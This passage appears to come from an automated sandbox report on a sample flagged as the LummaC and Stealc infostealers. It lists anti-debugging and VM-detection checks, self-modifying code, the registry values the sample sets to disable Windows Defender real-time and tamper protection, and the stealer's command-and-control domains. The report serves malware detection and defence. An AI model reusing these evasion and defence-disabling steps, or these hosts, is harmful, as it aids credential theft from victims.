Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C64529 second address: C64533 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F10A8DE1CD6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C64533 second address: C64556 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F10A8C33EFCh 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F10A8C33EFEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C64556 second address: C64572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F10A8DE1CE6h 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C64572 second address: C64589 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33EFDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C64589 second address: C6458D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C873ED second address: C873F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9E760 second address: C9E76D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jno 00007F10A8DE1CE2h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9E896 second address: C9E8A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edi 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9E8A7 second address: C9E8AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9E8AD second address: C9E8CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8C33F08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9E9E6 second address: C9E9EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9F2F6 second address: C9F337 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F10A8C33F00h 0x00000008 jmp 00007F10A8C33EFAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jmp 00007F10A8C33EFCh 0x00000018 mov eax, dword ptr [eax] 0x0000001a jmp 00007F10A8C33F02h 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 push ebx 0x00000027 pop ebx 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9F337 second address: C9F3E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F10A8DE1CE0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F10A8DE1CE8h 0x0000000e popad 0x0000000f pop eax 0x00000010 call 00007F10A8DE1CD9h 0x00000015 jmp 00007F10A8DE1CE3h 0x0000001a push eax 0x0000001b jmp 00007F10A8DE1CE4h 0x00000020 mov eax, dword ptr [esp+04h] 0x00000024 pushad 0x00000025 pushad 0x00000026 je 00007F10A8DE1CD6h 0x0000002c jmp 00007F10A8DE1CE9h 0x00000031 popad 0x00000032 jp 00007F10A8DE1CD8h 0x00000038 popad 0x00000039 mov eax, dword ptr [eax] 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e jnl 00007F10A8DE1CD6h 0x00000044 jmp 00007F10A8DE1CDFh 0x00000049 popad 0x0000004a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9F3E0 second address: C9F3F9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d je 00007F10A8C33EF8h 0x00000013 push edi 0x00000014 pop edi 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9FA9D second address: C9FAAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F10A8DE1CD6h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9FEBC second address: C9FEC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9FF47 second address: C9FF4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: C9FF4D second address: C9FF51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA0034 second address: CA0038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA036D second address: CA0371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA0371 second address: CA037F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F10A8DE1CD6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA04F7 second address: CA04FC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA0934 second address: CA0938 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA0938 second address: CA098D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], eax 0x0000000a jmp 00007F10A8C33EFFh 0x0000000f or esi, dword ptr [ebp+122D1EA0h] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push esi 0x0000001a call 00007F10A8C33EF8h 0x0000001f pop esi 0x00000020 mov dword ptr [esp+04h], esi 0x00000024 add dword ptr [esp+04h], 0000001Ch 0x0000002c inc esi 0x0000002d push esi 0x0000002e ret 0x0000002f pop esi 0x00000030 ret 0x00000031 push 00000000h 0x00000033 mov si, 4C2Ch 0x00000037 push eax 0x00000038 push ebx 0x00000039 push eax 0x0000003a push edx 0x0000003b jnl 00007F10A8C33EF6h 0x00000041 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA1B87 second address: CA1B8D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA2E2A second address: CA2E2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA2E2E second address: CA2E34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA2E34 second address: CA2EF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F10A8C33F02h 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push eax 0x0000000f call 00007F10A8C33EF8h 0x00000014 pop eax 0x00000015 mov dword ptr [esp+04h], eax 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc eax 0x00000022 push eax 0x00000023 ret 0x00000024 pop eax 0x00000025 ret 0x00000026 sub dword ptr [ebp+122D241Eh], ebx 0x0000002c push 00000000h 0x0000002e push 00000000h 0x00000030 push edi 0x00000031 call 00007F10A8C33EF8h 0x00000036 pop edi 0x00000037 mov dword ptr [esp+04h], edi 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc edi 0x00000044 push edi 0x00000045 ret 0x00000046 pop edi 0x00000047 ret 0x00000048 jmp 00007F10A8C33F07h 0x0000004d mov esi, 0ED2A164h 0x00000052 push 00000000h 0x00000054 jmp 00007F10A8C33F03h 0x00000059 js 00007F10A8C33EFCh 0x0000005f mov edi, dword ptr [ebp+122D2E2Dh] 0x00000065 xchg eax, ebx 0x00000066 push ebx 0x00000067 pushad 0x00000068 jmp 00007F10A8C33F09h 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA398A second address: CA398E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA43FB second address: CA440C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F10A8C33EFCh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA440C second address: CA4416 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F10A8DE1CD6h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA41D1 second address: CA41D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA576C second address: CA5772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA628F second address: CA6295 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA947D second address: CA949C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F10A8DE1CE8h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA949C second address: CA94B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 jne 00007F10A8C33EFCh 0x0000000e je 00007F10A8C33EF6h 0x00000014 push ecx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	RDTSC instruction interceptor: First address: CA99CB second address: CA99D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F10A8DE1CD6h 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Special instruction interceptor: First address: AF678A instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Special instruction interceptor: First address: AF4EA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Special instruction interceptor: First address: B1ACEE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Special instruction interceptor: First address: B7E891 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Special instruction interceptor: First address: 5EFC73 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Special instruction interceptor: First address: 5EFB9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Special instruction interceptor: First address: 5ED6BA instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Special instruction interceptor: First address: 7C5D3B instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Special instruction interceptor: First address: AF3CC7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Special instruction interceptor: First address: AF3368 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Memory allocated: 53E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Memory allocated: 5410000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Memory allocated: 7410000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C6E803 rdtsc

4_2_00C6E803

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C8425C sidt fword ptr [esp-02h]

4_2_00C8425C

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe TID: 7476	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe TID: 7592	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe TID: 7460	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe TID: 8064	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: NCU1LYX00CJA4N4Z4DG.exe, NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2116480647.000000000077B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwaree
Source: 0HdDuWzp54.exe, 00000000.00000003.2016451574.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001622000.00000004.00000020.00020000.00000000.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.0000000001655000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2118221321.00000000015DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2174036881.0000000000C76000.00000040.00000001.01000000.00000006.sdmp, Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2116480647.000000000077B000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Thread information set: HideFromDebugger	Jump to behavior

Potentially malicious time measurement code found

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C6E142 Start: 00C6E199 End: 00C6E193

4_2_00C6E142

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C6E803 rdtsc

4_2_00C6E803

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Code function: 4_2_00C83D4C LdrInitializeThunk,

4_2_00C83D4C

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe PID: 8076, type: MEMORYSTR

LummaC encrypted strings found

Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: 0HdDuWzp54.exe, 00000000.00000003.1729808816.00000000050D0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe, 00000005.00000002.2116858646.00000000007BD000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: NCU1LYX00CJA4N4Z4DG.exe, 00000004.00000002.2174296664.0000000000CB9000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: WProgram Manager

Source: C:\Users\user\Desktop\0HdDuWzp54.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Y6X37RP2PXWOSVGZX1AOQL6PWBABG6.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NCU1LYX00CJA4N4Z4DG.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: 0HdDuWzp54.exe, 00000000.00000003.1889144439.0000000005BCA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\0HdDuWzp54.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 0HdDuWzp54.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

